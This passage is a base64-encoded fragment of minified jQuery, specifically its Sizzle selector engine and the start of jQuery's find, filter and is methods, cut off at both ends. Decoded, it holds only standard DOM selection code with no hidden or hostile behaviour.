xudWxsLGIpfSxkYi5tYXRjaGVzU2VsZWN0b3I9ZnVuY3Rpb24oYSxiKXtpZigoYS5vd25lckRvY3VtZW50fHxhKSE9PWwmJmsoYSksYj1iLnJlcGxhY2UoUywiPSckMSddIiksISghYy5tYXRjaGVzU2VsZWN0b3J8fCFufHxwJiZwLnRlc3QoYil8fG8mJm8udGVzdChiKSkpdHJ5e3ZhciBkPXEuY2FsbChhLGIpO2lmKGR8fGMuZGlzY29ubmVjdGVkTWF0Y2h8fGEuZG9jdW1lbnQmJjExIT09YS5kb2N1bWVudC5ub2RlVHlwZSlyZXR1cm4gZH1jYXRjaChlKXt9cmV0dXJuIGRiKGIsbCxudWxsLFthXSkubGVuZ3RoPjB9LGRiLmNvbnRhaW5zPWZ1bmN0aW9uKGEsYil7cmV0dXJuKGEub3duZXJEb2N1bWVudHx8YSkhPT1sJiZrKGEpLHIoYSxiKX0sZGIuYXR0cj1mdW5jdGlvbihhLGIpeyhhLm93bmVyRG9jdW1lbnR8fGEpIT09bCYmayhhKTt2YXIgZT1kLmF0dHJIYW5kbGVbYi50b0xvd2VyQ2FzZSgpXSxmPWUmJkMuY2FsbChkLmF0dHJIYW5kbGUsYi50b0xvd2VyQ2FzZSgpKT9lKGEsYiwhbik6dm9pZCAwO3JldHVybiB2b2lkIDAhPT1mP2Y6Yy5hdHRyaWJ1dGVzfHwhbj9hLmdldEF0dHJpYnV0ZShiKTooZj1hLmdldEF0dHJpYnV0ZU5vZGUoYikpJiZmLnNwZWNpZmllZD9mLnZhbHVlOm51bGx9LGRiLmVycm9yPWZ1bmN0aW9uKGEpe3Rocm93IG5ldyBFcnJvcigiU3ludGF4IGVycm9yLCB1bnJlY29nbml6ZWQgZXhwcmVzc2lvbjogIithKX0sZGIudW5pcXVlU29ydD1mdW5jdGlvbihhKXt2YXIgYixkPVtdLGU9MCxmPTA7aWYoaj0hYy5kZXRlY3REdXBsaWNhdGVzLGk9IWMuc29ydFN0YWJsZSYmYS5zbGljZSgwKSxhLnNvcnQoeiksail7d2hpbGUoYj1hW2YrK10pYj09PWFbZl0mJihlPWQucHVzaChmKSk7d2hpbGUoZS0tKWEuc3BsaWNlKGRbZV0sMSl9cmV0dXJuIGk9bnVsbCxhfSxlPWRiLmdldFRleHQ9ZnVuY3Rpb24oYSl7dmFyIGIsYz0iIixkPTAsZj1hLm5vZGVUeXBlO2lmKGYpe2lmKDE9PT1mfHw5PT09Znx8MTE9PT1mKXtpZigic3RyaW5nIj09dHlwZW9mIGEudGV4dENvbnRlbnQpcmV0dXJuIGEudGV4dENvbnRlbnQ7Zm9yKGE9YS5maXJzdENoaWxkO2E7YT1hLm5leHRTaWJsaW5nKWMrPWUoYSl9ZWxzZSBpZigzPT09Znx8ND09PWYpcmV0dXJuIGEubm9kZVZhbHVlfWVsc2Ugd2hpbGUoYj1hW2QrK10pYys9ZShiKTtyZXR1cm4gY30sZD1kYi5zZWxlY3RvcnM9e2NhY2hlTGVuZ3RoOjUwLGNyZWF0ZVBzZXVkbzpmYixtYXRjaDpWLGF0dHJIYW5kbGU6e30sZmluZDp7fSxyZWxhdGl2ZTp7Ij4iOntkaXI6InBhcmVudE5vZGUiLGZpcnN0OiEwfSwiICI6e2RpcjoicGFyZW50Tm9kZSJ9LCIrIjp7ZGlyOiJwcmV2aW91c1NpYmxpbmciLGZpcnN0OiEwfSwifiI6e2RpcjoicHJldmlvdXNTaWJsaW5nIn19LHByZUZpbHRlcjp7QVRUUjpmdW5jdGlvbihhKXtyZXR1cm4gYVsxXT1hWzFdLnJlcGxhY2UoYWIsYmIpLGFbM109KGFbNF18fGFbNV18fCIiKS5yZXBsYWNlKGFiLGJiKSwifj0iPT09YVsyXSYmKGFbM109IiAiK2FbM10rIiAiKSxhLnNsaWNlKDAsNCl9LENISUxEOmZ1bmN0aW9uKGEpe3JldHVybiBhWzFdPWFbMV0udG9Mb3dlckNhc2UoKSwibnRoIj09PWFbMV0uc2xpY2UoMCwzKT8oYVszXXx8ZGIuZXJyb3IoYVswXSksYVs0XT0rKGFbNF0/YVs1XSsoYVs2XXx8MSk6MiooImV2ZW4iPT09YVszXXx8Im9kZCI9PT1hWzNdKSksYVs1XT0rKGFbN10rYVs4XXx8Im9kZCI9PT1hWzNdKSk6YVszXSYmZGIuZXJyb3IoYVswXSksYX0sUFNFVURPOmZ1bmN0aW9uKGEpe3ZhciBiLGM9IWFbNV0mJmFbMl07cmV0dXJuIFYuQ0hJTEQudGVzdChhWzBdKT9udWxsOihhWzNdJiZ2b2lkIDAhPT1hWzRdP2FbMl09YVs0XTpjJiZULnRlc3QoYykmJihiPW9iKGMsITApKSYmKGI9Yy5pbmRleE9mKCIpIixjLmxlbmd0aC1iKS1jLmxlbmd0aCkmJihhWzBdPWFbMF0uc2xpY2UoMCxiKSxhWzJdPWMuc2xpY2UoMCxiKSksYS5zbGljZSgwLDMpKX19LGZpbHRlcjp7VEFHOmZ1bmN0aW9uKGEpe3ZhciBiPWEucmVwbGFjZShhYixiYikudG9Mb3dlckNhc2UoKTtyZXR1cm4iKiI9PT1hP2Z1bmN0aW9uKCl7cmV0dXJuITB9OmZ1bmN0aW9uKGEpe3JldHVybiBhLm5vZGVOYW1lJiZhLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1ifX0sQ0xBU1M6ZnVuY3Rpb24oYSl7dmFyIGI9d1thKyIgIl07cmV0dXJuIGJ8fChiPW5ldyBSZWdFeHAoIihefCIrSysiKSIrYSsiKCIrSysifCQpIikpJiZ3KGEsZnVuY3Rpb24oYSl7cmV0dXJuIGIudGVzdCgic3RyaW5nIj09dHlwZW9mIGEuY2xhc3NOYW1lJiZhLmNsYXNzTmFtZXx8dHlwZW9mIGEuZ2V0QXR0cmlidXRlIT09QSYmYS5nZXRBdHRyaWJ1dGUoImNsYXNzIil8fCIiKX0pfSxBVFRSOmZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gZnVuY3Rpb24oZCl7dmFyIGU9ZGIuYXR0cihkLGEpO3JldHVybiBudWxsPT1lPyIhPSI9PT1iOmI/KGUrPSIiLCI9Ij09PWI/ZT09PWM6IiE9Ij09PWI/ZSE9PWM6Il49Ij09PWI/YyYmMD09PWUuaW5kZXhPZihjKToiKj0iPT09Yj9jJiZlLmluZGV4T2YoYyk+LTE6IiQ9Ij09PWI/YyYmZS5zbGljZSgtYy5sZW5ndGgpPT09Yzoifj0iPT09Yj8oIiAiK2UrIiAiKS5pbmRleE9mKGMpPi0xOiJ8PSI9PT1iP2U9PT1jfHxlLnNsaWNlKDAsYy5sZW5ndGgrMSk9PT1jKyItIjohMSk6ITB9fSxDSElMRDpmdW5jdGlvbihhLGIsYyxkLGUpe3ZhciBmPSJudGgiIT09YS5zbGljZSgwLDMpLGc9Imxhc3QiIT09YS5zbGljZSgtNCksaD0ib2YtdHlwZSI9PT1iO3JldHVybiAxPT09ZCYmMD09PWU/ZnVuY3Rpb24oYSl7cmV0dXJuISFhLnBhcmVudE5vZGV9OmZ1bmN0aW9uKGIsYyxpKXt2YXIgaixrLGwsbSxuLG8scD1mIT09Zz8ibmV4dFNpYmxpbmciOiJwcmV2aW91c1NpYmxpbmciLHE9Yi5wYXJlbnROb2RlLHI9aCYmYi5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpLHQ9IWkmJiFoO2lmKHEpe2lmKGYpe3doaWxlKHApe2w9Yjt3aGlsZShsPWxbcF0paWYoaD9sLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1yOjE9PT1sLm5vZGVUeXBlKXJldHVybiExO289cD0ib25seSI9PT1hJiYhbyYmIm5leHRTaWJsaW5nIn1yZXR1cm4hMH1pZihvPVtnP3EuZmlyc3RDaGlsZDpxLmxhc3RDaGlsZF0sZyYmdCl7az1xW3NdfHwocVtzXT17fSksaj1rW2FdfHxbXSxuPWpbMF09PT11JiZqWzFdLG09alswXT09PXUmJmpbMl0sbD1uJiZxLmNoaWxkTm9kZXNbbl07d2hpbGUobD0rK24mJmwmJmxbcF18fChtPW49MCl8fG8ucG9wKCkpaWYoMT09PWwubm9kZVR5cGUmJisrbSYmbD09PWIpe2tbYV09W3UsbixtXTticmVha319ZWxzZSBpZih0JiYoaj0oYltzXXx8KGJbc109e30pKVthXSkmJmpbMF09PT11KW09alsxXTtlbHNlIHdoaWxlKGw9KytuJiZsJiZsW3BdfHwobT1uPTApfHxvLnBvcCgpKWlmKChoP2wubm9kZU5hbWUudG9Mb3dlckNhc2UoKT09PXI6MT09PWwubm9kZVR5cGUpJiYrK20mJih0JiYoKGxbc118fChsW3NdPXt9KSlbYV09W3UsbV0pLGw9PT1iKSlicmVhaztyZXR1cm4gbS09ZSxtPT09ZHx8bSVkPT09MCYmbS9kPj0wfX19LFBTRVVETzpmdW5jdGlvbihhLGIpe3ZhciBjLGU9ZC5wc2V1ZG9zW2FdfHxkLnNldEZpbHRlcnNbYS50b0xvd2VyQ2FzZSgpXXx8ZGIuZXJyb3IoInVuc3VwcG9ydGVkIHBzZXVkbzogIithKTtyZXR1cm4gZVtzXT9lKGIpOmUubGVuZ3RoPjE/KGM9W2EsYSwiIixiXSxkLnNldEZpbHRlcnMuaGFzT3duUHJvcGVydHkoYS50b0xvd2VyQ2FzZSgpKT9mYihmdW5jdGlvbihhLGMpe3ZhciBkLGY9ZShhLGIpLGc9Zi5sZW5ndGg7d2hpbGUoZy0tKWQ9SS5jYWxsKGEsZltnXSksYVtkXT0hKGNbZF09ZltnXSl9KTpmdW5jdGlvbihhKXtyZXR1cm4gZShhLDAsYyl9KTplfX0scHNldWRvczp7bm90OmZiKGZ1bmN0aW9uKGEpe3ZhciBiPVtdLGM9W10sZD1nKGEucmVwbGFjZShQLCIkMSIpKTtyZXR1cm4gZFtzXT9mYihmdW5jdGlvbihhLGIsYyxlKXt2YXIgZixnPWQoYSxudWxsLGUsW10pLGg9YS5sZW5ndGg7d2hpbGUoaC0tKShmPWdbaF0pJiYoYVtoXT0hKGJbaF09ZikpfSk6ZnVuY3Rpb24oYSxlLGYpe3JldHVybiBiWzBdPWEsZChiLG51bGwsZixjKSwhYy5wb3AoKX19KSxoYXM6ZmIoZnVuY3Rpb24oYSl7cmV0dXJuIGZ1bmN0aW9uKGIpe3JldHVybiBkYihhLGIpLmxlbmd0aD4wfX0pLGNvbnRhaW5zOmZiKGZ1bmN0aW9uKGEpe3JldHVybiBmdW5jdGlvbihiKXtyZXR1cm4oYi50ZXh0Q29udGVudHx8Yi5pbm5lclRleHR8fGUoYikpLmluZGV4T2YoYSk+LTF9fSksbGFuZzpmYihmdW5jdGlvbihhKXtyZXR1cm4gVS50ZXN0KGF8fCIiKXx8ZGIuZXJyb3IoInVuc3VwcG9ydGVkIGxhbmc6ICIrYSksYT1hLnJlcGxhY2UoYWIsYmIpLnRvTG93ZXJDYXNlKCksZnVuY3Rpb24oYil7dmFyIGM7ZG8gaWYoYz1uP2IubGFuZzpiLmdldEF0dHJpYnV0ZSgieG1sOmxhbmciKXx8Yi5nZXRBdHRyaWJ1dGUoImxhbmciKSlyZXR1cm4gYz1jLnRvTG93ZXJDYXNlKCksYz09PWF8fDA9PT1jLmluZGV4T2YoYSsiLSIpO3doaWxlKChiPWIucGFyZW50Tm9kZSkmJjE9PT1iLm5vZGVUeXBlKTtyZXR1cm4hMX19KSx0YXJnZXQ6ZnVuY3Rpb24oYil7dmFyIGM9YS5sb2NhdGlvbiYmYS5sb2NhdGlvbi5oYXNoO3JldHVybiBjJiZjLnNsaWNlKDEpPT09Yi5pZH0scm9vdDpmdW5jdGlvbihhKXtyZXR1cm4gYT09PW19LGZvY3VzOmZ1bmN0aW9uKGEpe3JldHVybiBhPT09bC5hY3RpdmVFbGVtZW50JiYoIWwuaGFzRm9jdXN8fGwuaGFzRm9jdXMoKSkmJiEhKGEudHlwZXx8YS5ocmVmfHx+YS50YWJJbmRleCl9LGVuYWJsZWQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGEuZGlzYWJsZWQ9PT0hMX0sZGlzYWJsZWQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGEuZGlzYWJsZWQ9PT0hMH0sY2hlY2tlZDpmdW5jdGlvbihhKXt2YXIgYj1hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PWImJiEhYS5jaGVja2VkfHwib3B0aW9uIj09PWImJiEhYS5zZWxlY3RlZH0sc2VsZWN0ZWQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGEucGFyZW50Tm9kZSYmYS5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsYS5zZWxlY3RlZD09PSEwfSxlbXB0eTpmdW5jdGlvbihhKXtmb3IoYT1hLmZpcnN0Q2hpbGQ7YTthPWEubmV4dFNpYmxpbmcpaWYoYS5ub2RlVHlwZTw2KXJldHVybiExO3JldHVybiEwfSxwYXJlbnQ6ZnVuY3Rpb24oYSl7cmV0dXJuIWQucHNldWRvcy5lbXB0eShhKX0saGVhZGVyOmZ1bmN0aW9uKGEpe3JldHVybiBYLnRlc3QoYS5ub2RlTmFtZSl9LGlucHV0OmZ1bmN0aW9uKGEpe3JldHVybiBXLnRlc3QoYS5ub2RlTmFtZSl9LGJ1dHRvbjpmdW5jdGlvbihhKXt2YXIgYj1hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PWImJiJidXR0b24iPT09YS50eXBlfHwiYnV0dG9uIj09PWJ9LHRleHQ6ZnVuY3Rpb24oYSl7dmFyIGI7cmV0dXJuImlucHV0Ij09PWEubm9kZU5hbWUudG9Mb3dlckNhc2UoKSYmInRleHQiPT09YS50eXBlJiYobnVsbD09KGI9YS5nZXRBdHRyaWJ1dGUoInR5cGUiKSl8fCJ0ZXh0Ij09PWIudG9Mb3dlckNhc2UoKSl9LGZpcnN0OmxiKGZ1bmN0aW9uKCl7cmV0dXJuWzBdfSksbGFzdDpsYihmdW5jdGlvbihhLGIpe3JldHVybltiLTFdfSksZXE6bGIoZnVuY3Rpb24oYSxiLGMpe3JldHVyblswPmM/YytiOmNdfSksZXZlbjpsYihmdW5jdGlvbihhLGIpe2Zvcih2YXIgYz0wO2I+YztjKz0yKWEucHVzaChjKTtyZXR1cm4gYX0pLG9kZDpsYihmdW5jdGlvbihhLGIpe2Zvcih2YXIgYz0xO2I+YztjKz0yKWEucHVzaChjKTtyZXR1cm4gYX0pLGx0OmxiKGZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGQ9MD5jP2MrYjpjOy0tZD49MDspYS5wdXNoKGQpO3JldHVybiBhfSksZ3Q6bGIoZnVuY3Rpb24oYSxiLGMpe2Zvcih2YXIgZD0wPmM/YytiOmM7KytkPGI7KWEucHVzaChkKTtyZXR1cm4gYX0pfX0sZC5wc2V1ZG9zLm50aD1kLnBzZXVkb3MuZXE7Zm9yKGIgaW57cmFkaW86ITAsY2hlY2tib3g6ITAsZmlsZTohMCxwYXNzd29yZDohMCxpbWFnZTohMH0pZC5wc2V1ZG9zW2JdPWpiKGIpO2ZvcihiIGlue3N1Ym1pdDohMCxyZXNldDohMH0pZC5wc2V1ZG9zW2JdPWtiKGIpO2Z1bmN0aW9uIG5iKCl7fW5iLnByb3RvdHlwZT1kLmZpbHRlcnM9ZC5wc2V1ZG9zLGQuc2V0RmlsdGVycz1uZXcgbmI7ZnVuY3Rpb24gb2IoYSxiKXt2YXIgYyxlLGYsZyxoLGksaixrPXhbYSsiICJdO2lmKGspcmV0dXJuIGI/MDprLnNsaWNlKDApO2g9YSxpPVtdLGo9ZC5wcmVGaWx0ZXI7d2hpbGUoaCl7KCFjfHwoZT1RLmV4ZWMoaCkpKSYmKGUmJihoPWguc2xpY2UoZVswXS5sZW5ndGgpfHxoKSxpLnB1c2goZj1bXSkpLGM9ITEsKGU9Ui5leGVjKGgpKSYmKGM9ZS5zaGlmdCgpLGYucHVzaCh7dmFsdWU6Yyx0eXBlOmVbMF0ucmVwbGFjZShQLCIgIil9KSxoPWguc2xpY2UoYy5sZW5ndGgpKTtmb3IoZyBpbiBkLmZpbHRlcikhKGU9VltnXS5leGVjKGgpKXx8altnXSYmIShlPWpbZ10oZSkpfHwoYz1lLnNoaWZ0KCksZi5wdXNoKHt2YWx1ZTpjLHR5cGU6ZyxtYXRjaGVzOmV9KSxoPWguc2xpY2UoYy5sZW5ndGgpKTtpZighYylicmVha31yZXR1cm4gYj9oLmxlbmd0aDpoP2RiLmVycm9yKGEpOngoYSxpKS5zbGljZSgwKX1mdW5jdGlvbiBwYihhKXtmb3IodmFyIGI9MCxjPWEubGVuZ3RoLGQ9IiI7Yz5iO2IrKylkKz1hW2JdLnZhbHVlO3JldHVybiBkfWZ1bmN0aW9uIHFiKGEsYixjKXt2YXIgZD1iLmRpcixlPWMmJiJwYXJlbnROb2RlIj09PWQsZj12Kys7cmV0dXJuIGIuZmlyc3Q/ZnVuY3Rpb24oYixjLGYpe3doaWxlKGI9YltkXSlpZigxPT09Yi5ub2RlVHlwZXx8ZSlyZXR1cm4gYShiLGMsZil9OmZ1bmN0aW9uKGIsYyxnKXt2YXIgaCxpLGo9W3UsZl07aWYoZyl7d2hpbGUoYj1iW2RdKWlmKCgxPT09Yi5ub2RlVHlwZXx8ZSkmJmEoYixjLGcpKXJldHVybiEwfWVsc2Ugd2hpbGUoYj1iW2RdKWlmKDE9PT1iLm5vZGVUeXBlfHxlKXtpZihpPWJbc118fChiW3NdPXt9KSwoaD1pW2RdKSYmaFswXT09PXUmJmhbMV09PT1mKXJldHVybiBqWzJdPWhbMl07aWYoaVtkXT1qLGpbMl09YShiLGMsZykpcmV0dXJuITB9fX1mdW5jdGlvbiByYihhKXtyZXR1cm4gYS5sZW5ndGg+MT9mdW5jdGlvbihiLGMsZCl7dmFyIGU9YS5sZW5ndGg7d2hpbGUoZS0tKWlmKCFhW2VdKGIsYyxkKSlyZXR1cm4hMTtyZXR1cm4hMH06YVswXX1mdW5jdGlvbiBzYihhLGIsYyxkLGUpe2Zvcih2YXIgZixnPVtdLGg9MCxpPWEubGVuZ3RoLGo9bnVsbCE9YjtpPmg7aCsrKShmPWFbaF0pJiYoIWN8fGMoZixkLGUpKSYmKGcucHVzaChmKSxqJiZiLnB1c2goaCkpO3JldHVybiBnfWZ1bmN0aW9uIHRiKGEsYixjLGQsZSxmKXtyZXR1cm4gZCYmIWRbc10mJihkPXRiKGQpKSxlJiYhZVtzXSYmKGU9dGIoZSxmKSksZmIoZnVuY3Rpb24oZixnLGgsaSl7dmFyIGosayxsLG09W10sbj1bXSxvPWcubGVuZ3RoLHA9Znx8d2IoYnx8IioiLGgubm9kZVR5cGU/W2hdOmgsW10pLHE9IWF8fCFmJiZiP3A6c2IocCxtLGEsaCxpKSxyPWM/ZXx8KGY/YTpvfHxkKT9bXTpnOnE7aWYoYyYmYyhxLHIsaCxpKSxkKXtqPXNiKHIsbiksZChqLFtdLGgsaSksaz1qLmxlbmd0aDt3aGlsZShrLS0pKGw9altrXSkmJihyW25ba11dPSEocVtuW2tdXT1sKSl9aWYoZil7aWYoZXx8YSl7aWYoZSl7aj1bXSxrPXIubGVuZ3RoO3doaWxlKGstLSkobD1yW2tdKSYmai5wdXNoKHFba109bCk7ZShudWxsLHI9W10saixpKX1rPXIubGVuZ3RoO3doaWxlKGstLSkobD1yW2tdKSYmKGo9ZT9JLmNhbGwoZixsKTptW2tdKT4tMSYmKGZbal09IShnW2pdPWwpKX19ZWxzZSByPXNiKHI9PT1nP3Iuc3BsaWNlKG8sci5sZW5ndGgpOnIpLGU/ZShudWxsLGcscixpKTpHLmFwcGx5KGcscil9KX1mdW5jdGlvbiB1YihhKXtmb3IodmFyIGIsYyxlLGY9YS5sZW5ndGgsZz1kLnJlbGF0aXZlW2FbMF0udHlwZV0saT1nfHxkLnJlbGF0aXZlWyIgIl0saj1nPzE6MCxrPXFiKGZ1bmN0aW9uKGEpe3JldHVybiBhPT09Yn0saSwhMCksbD1xYihmdW5jdGlvbihhKXtyZXR1cm4gSS5jYWxsKGIsYSk+LTF9LGksITApLG09W2Z1bmN0aW9uKGEsYyxkKXtyZXR1cm4hZyYmKGR8fGMhPT1oKXx8KChiPWMpLm5vZGVUeXBlP2soYSxjLGQpOmwoYSxjLGQpKX1dO2Y+ajtqKyspaWYoYz1kLnJlbGF0aXZlW2Fbal0udHlwZV0pbT1bcWIocmIobSksYyldO2Vsc2V7aWYoYz1kLmZpbHRlclthW2pdLnR5cGVdLmFwcGx5KG51bGwsYVtqXS5tYXRjaGVzKSxjW3NdKXtmb3IoZT0rK2o7Zj5lO2UrKylpZihkLnJlbGF0aXZlW2FbZV0udHlwZV0pYnJlYWs7cmV0dXJuIHRiKGo+MSYmcmIobSksaj4xJiZwYihhLnNsaWNlKDAsai0xKS5jb25jYXQoe3ZhbHVlOiIgIj09PWFbai0yXS50eXBlPyIqIjoiIn0pKS5yZXBsYWNlKFAsIiQxIiksYyxlPmomJnViKGEuc2xpY2UoaixlKSksZj5lJiZ1YihhPWEuc2xpY2UoZSkpLGY+ZSYmcGIoYSkpfW0ucHVzaChjKX1yZXR1cm4gcmIobSl9ZnVuY3Rpb24gdmIoYSxiKXt2YXIgYz1iLmxlbmd0aD4wLGU9YS5sZW5ndGg+MCxmPWZ1bmN0aW9uKGYsZyxpLGosayl7dmFyIG0sbixvLHA9MCxxPSIwIixyPWYmJltdLHM9W10sdD1oLHY9Znx8ZSYmZC5maW5kLlRBRygiKiIsayksdz11Kz1udWxsPT10PzE6TWF0aC5yYW5kb20oKXx8LjEseD12Lmxlbmd0aDtmb3IoayYmKGg9ZyE9PWwmJmcpO3EhPT14JiZudWxsIT0obT12W3FdKTtxKyspe2lmKGUmJm0pe249MDt3aGlsZShvPWFbbisrXSlpZihvKG0sZyxpKSl7ai5wdXNoKG0pO2JyZWFrfWsmJih1PXcpfWMmJigobT0hbyYmbSkmJnAtLSxmJiZyLnB1c2gobSkpfWlmKHArPXEsYyYmcSE9PXApe249MDt3aGlsZShvPWJbbisrXSlvKHIscyxnLGkpO2lmKGYpe2lmKHA+MCl3aGlsZShxLS0pcltxXXx8c1txXXx8KHNbcV09RS5jYWxsKGopKTtzPXNiKHMpfUcuYXBwbHkoaixzKSxrJiYhZiYmcy5sZW5ndGg+MCYmcCtiLmxlbmd0aD4xJiZkYi51bmlxdWVTb3J0KGopfXJldHVybiBrJiYodT13LGg9dCkscn07cmV0dXJuIGM/ZmIoZik6Zn1nPWRiLmNvbXBpbGU9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkPVtdLGU9W10sZj15W2ErIiAiXTtpZighZil7Ynx8KGI9b2IoYSkpLGM9Yi5sZW5ndGg7d2hpbGUoYy0tKWY9dWIoYltjXSksZltzXT9kLnB1c2goZik6ZS5wdXNoKGYpO2Y9eShhLHZiKGUsZCkpfXJldHVybiBmfTtmdW5jdGlvbiB3YihhLGIsYyl7Zm9yKHZhciBkPTAsZT1iLmxlbmd0aDtlPmQ7ZCsrKWRiKGEsYltkXSxjKTtyZXR1cm4gY31mdW5jdGlvbiB4YihhLGIsZSxmKXt2YXIgaCxpLGosayxsLG09b2IoYSk7aWYoIWYmJjE9PT1tLmxlbmd0aCl7aWYoaT1tWzBdPW1bMF0uc2xpY2UoMCksaS5sZW5ndGg+MiYmIklEIj09PShqPWlbMF0pLnR5cGUmJmMuZ2V0QnlJZCYmOT09PWIubm9kZVR5cGUmJm4mJmQucmVsYXRpdmVbaVsxXS50eXBlXSl7aWYoYj0oZC5maW5kLklEKGoubWF0Y2hlc1swXS5yZXBsYWNlKGFiLGJiKSxiKXx8W10pWzBdLCFiKXJldHVybiBlO2E9YS5zbGljZShpLnNoaWZ0KCkudmFsdWUubGVuZ3RoKX1oPVYubmVlZHNDb250ZXh0LnRlc3QoYSk/MDppLmxlbmd0aDt3aGlsZShoLS0pe2lmKGo9aVtoXSxkLnJlbGF0aXZlW2s9ai50eXBlXSlicmVhaztpZigobD1kLmZpbmRba10pJiYoZj1sKGoubWF0Y2hlc1swXS5yZXBsYWNlKGFiLGJiKSwkLnRlc3QoaVswXS50eXBlKSYmbWIoYi5wYXJlbnROb2RlKXx8YikpKXtpZihpLnNwbGljZShoLDEpLGE9Zi5sZW5ndGgmJnBiKGkpLCFhKXJldHVybiBHLmFwcGx5KGUsZiksZTticmVha319fXJldHVybiBnKGEsbSkoZixiLCFuLGUsJC50ZXN0KGEpJiZtYihiLnBhcmVudE5vZGUpfHxiKSxlfXJldHVybiBjLnNvcnRTdGFibGU9cy5zcGxpdCgiIikuc29ydCh6KS5qb2luKCIiKT09PXMsYy5kZXRlY3REdXBsaWNhdGVzPSEhaixrKCksYy5zb3J0RGV0YWNoZWQ9Z2IoZnVuY3Rpb24oYSl7cmV0dXJuIDEmYS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbihsLmNyZWF0ZUVsZW1lbnQoImRpdiIpKX0pLGdiKGZ1bmN0aW9uKGEpe3JldHVybiBhLmlubmVySFRNTD0iPGEgaHJlZj0nIyc+PC9hPiIsIiMiPT09YS5maXJzdENoaWxkLmdldEF0dHJpYnV0ZSgiaHJlZiIpfSl8fGhiKCJ0eXBlfGhyZWZ8aGVpZ2h0fHdpZHRoIixmdW5jdGlvbihhLGIsYyl7cmV0dXJuIGM/dm9pZCAwOmEuZ2V0QXR0cmlidXRlKGIsInR5cGUiPT09Yi50b0xvd2VyQ2FzZSgpPzE6Mil9KSxjLmF0dHJpYnV0ZXMmJmdiKGZ1bmN0aW9uKGEpe3JldHVybiBhLmlubmVySFRNTD0iPGlucHV0Lz4iLGEuZmlyc3RDaGlsZC5zZXRBdHRyaWJ1dGUoInZhbHVlIiwiIiksIiI9PT1hLmZpcnN0Q2hpbGQuZ2V0QXR0cmlidXRlKCJ2YWx1ZSIpfSl8fGhiKCJ2YWx1ZSIsZnVuY3Rpb24oYSxiLGMpe3JldHVybiBjfHwiaW5wdXQiIT09YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpP3ZvaWQgMDphLmRlZmF1bHRWYWx1ZX0pLGdiKGZ1bmN0aW9uKGEpe3JldHVybiBudWxsPT1hLmdldEF0dHJpYnV0ZSgiZGlzYWJsZWQiKX0pfHxoYihKLGZ1bmN0aW9uKGEsYixjKXt2YXIgZDtyZXR1cm4gYz92b2lkIDA6YVtiXT09PSEwP2IudG9Mb3dlckNhc2UoKTooZD1hLmdldEF0dHJpYnV0ZU5vZGUoYikpJiZkLnNwZWNpZmllZD9kLnZhbHVlOm51bGx9KSxkYn0oYSk7bi5maW5kPXQsbi5leHByPXQuc2VsZWN0b3JzLG4uZXhwclsiOiJdPW4uZXhwci5wc2V1ZG9zLG4udW5pcXVlPXQudW5pcXVlU29ydCxuLnRleHQ9dC5nZXRUZXh0LG4uaXNYTUxEb2M9dC5pc1hNTCxuLmNvbnRhaW5zPXQuY29udGFpbnM7dmFyIHU9bi5leHByLm1hdGNoLm5lZWRzQ29udGV4dCx2PS9ePChcdyspXHMqXC8/Pig/OjxcL1wxPnwpJC8sdz0vXi5bXjojXFtcLixdKiQvO2Z1bmN0aW9uIHgoYSxiLGMpe2lmKG4uaXNGdW5jdGlvbihiKSlyZXR1cm4gbi5ncmVwKGEsZnVuY3Rpb24oYSxkKXtyZXR1cm4hIWIuY2FsbChhLGQsYSkhPT1jfSk7aWYoYi5ub2RlVHlwZSlyZXR1cm4gbi5ncmVwKGEsZnVuY3Rpb24oYSl7cmV0dXJuIGE9PT1iIT09Y30pO2lmKCJzdHJpbmciPT10eXBlb2YgYil7aWYody50ZXN0KGIpKXJldHVybiBuLmZpbHRlcihiLGEsYyk7Yj1uLmZpbHRlcihiLGEpfXJldHVybiBuLmdyZXAoYSxmdW5jdGlvbihhKXtyZXR1cm4gbi5pbkFycmF5KGEsYik+PTAhPT1jfSl9bi5maWx0ZXI9ZnVuY3Rpb24oYSxiLGMpe3ZhciBkPWJbMF07cmV0dXJuIGMmJihhPSI6bm90KCIrYSsiKSIpLDE9PT1iLmxlbmd0aCYmMT09PWQubm9kZVR5cGU/bi5maW5kLm1hdGNoZXNTZWxlY3RvcihkLGEpP1tkXTpbXTpuLmZpbmQubWF0Y2hlcyhhLG4uZ3JlcChiLGZ1bmN0aW9uKGEpe3JldHVybiAxPT09YS5ub2RlVHlwZX0pKX0sbi5mbi5leHRlbmQoe2ZpbmQ6ZnVuY3Rpb24oYSl7dmFyIGIsYz1bXSxkPXRoaXMsZT1kLmxlbmd0aDtpZigic3RyaW5nIiE9dHlwZW9mIGEpcmV0dXJuIHRoaXMucHVzaFN0YWNrKG4oYSkuZmlsdGVyKGZ1bmN0aW9uKCl7Zm9yKGI9MDtlPmI7YisrKWlmKG4uY29udGFpbnMoZFtiXSx0aGlzKSlyZXR1cm4hMH0pKTtmb3IoYj0wO2U+YjtiKyspbi5maW5kKGEsZFtiXSxjKTtyZXR1cm4gYz10aGlzLnB1c2hTdGFjayhlPjE/bi51bmlxdWUoYyk6YyksYy5zZWxlY3Rvcj10aGlzLnNlbGVjdG9yP3RoaXMuc2VsZWN0b3IrIiAiK2E6YSxjfSxmaWx0ZXI6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKHgodGhpcyxhfHxbXSwhMSkpfSxub3Q6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKHgodGhpcyxhfHxbXSwhMCkpfSxpczpmdW5jdGlvbihhKXtyZXR1cm4hIXgodGhpcywic3RyaW5nIj09dHlwZW9mIGEmJnUudGVzdChhKT9uKGEpOmF8fFtdLCExKS5sZW5ndGh9fSk7dmFyIHksej1hLmRvY3VtZW50LEE9L14oPzpccyooPFtcd1xXXSs+KVtePl0q